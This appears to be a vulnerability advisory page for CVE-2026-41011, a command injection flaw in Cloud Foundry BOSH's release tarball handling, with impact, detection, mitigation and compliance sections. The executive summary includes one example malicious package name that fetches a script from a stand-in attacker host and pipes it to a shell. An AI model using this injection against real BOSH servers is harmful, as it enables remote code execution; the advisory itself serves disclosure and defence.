Executive Summary

CVE-2026-41011 is a high-severity command injection vulnerability in Cloud Foundry's BOSH component. It occurs in the PackagePersister.validate_tgz method, which builds a shell command using a package name extracted from a release tarball without properly sanitizing it. The package name comes directly from the release.MF file inside the uploaded tarball and is passed to a shell command executed via /bin/sh -c without escaping special characters. Although there is a validation step that would reject invalid package names, this validation happens after the shell command is executed, allowing an attacker to inject arbitrary shell commands.

An attacker can exploit this by crafting a release tarball with a malicious package name containing shell metacharacters (for example, including commands like 'x;curl attacker.example/s|sh') and uploading it via the /releases endpoint. When the validate_tgz method runs, it executes the injected commands, leading to arbitrary command execution.

This vulnerability requires the attacker to have bosh.releases.upload or bosh.admin privileges and to create a new package with a unique fingerprint. The issue was fixed in BOSH version v282.1.12.

Useful 0 Not Useful 0

Impact Analysis

This vulnerability allows an attacker with certain privileges (bosh.releases.upload or bosh.admin) to execute arbitrary commands on the system running the BOSH component. This can lead to unauthorized access, data compromise, system manipulation, or further exploitation within the environment.

Because the attacker can inject shell commands via a crafted package name, they could potentially run malicious scripts, exfiltrate sensitive data, or disrupt system operations.

Useful 0 Not Useful 0

Detection Guidance

This vulnerability can be detected by monitoring for suspicious package names in uploaded release tarballs that contain shell metacharacters or unusual strings that could lead to command injection.

Specifically, you can inspect the package names inside release tarballs uploaded via the /releases endpoint for characters such as semicolons, pipes, or other shell metacharacters.

A practical approach is to extract and list package names from release tarballs and check for suspicious patterns before they are processed by BOSH.

• Use tar to list package names inside a release tarball: tar -tf <release_tarball> | grep 'packages/'
• Manually inspect the release.MF file inside the tarball for suspicious package names: tar -xf <release_tarball> release.MF && cat release.MF
• Monitor logs or audit trails for uploads to the /releases endpoint and look for package names containing shell metacharacters such as ;, |, &, or backticks.

Useful 0 Not Useful 0

Mitigation Strategies

The immediate and recommended mitigation is to upgrade BOSH to version v282.1.12 or later, where this vulnerability has been fixed.

Until the upgrade can be performed, restrict or monitor access to the /releases endpoint to prevent untrusted users from uploading release tarballs.

Ensure that only trusted users with bosh.releases.upload or bosh.admin privileges can upload packages, as the vulnerability requires these privileges to be exploited.

Implement additional validation or scanning of release tarballs before processing to detect and block package names containing shell metacharacters.

Useful 0 Not Useful 0

Compliance Impact

The provided information does not specify how CVE-2026-41011 affects compliance with common standards and regulations such as GDPR or HIPAA.

Useful 0 Not Useful 0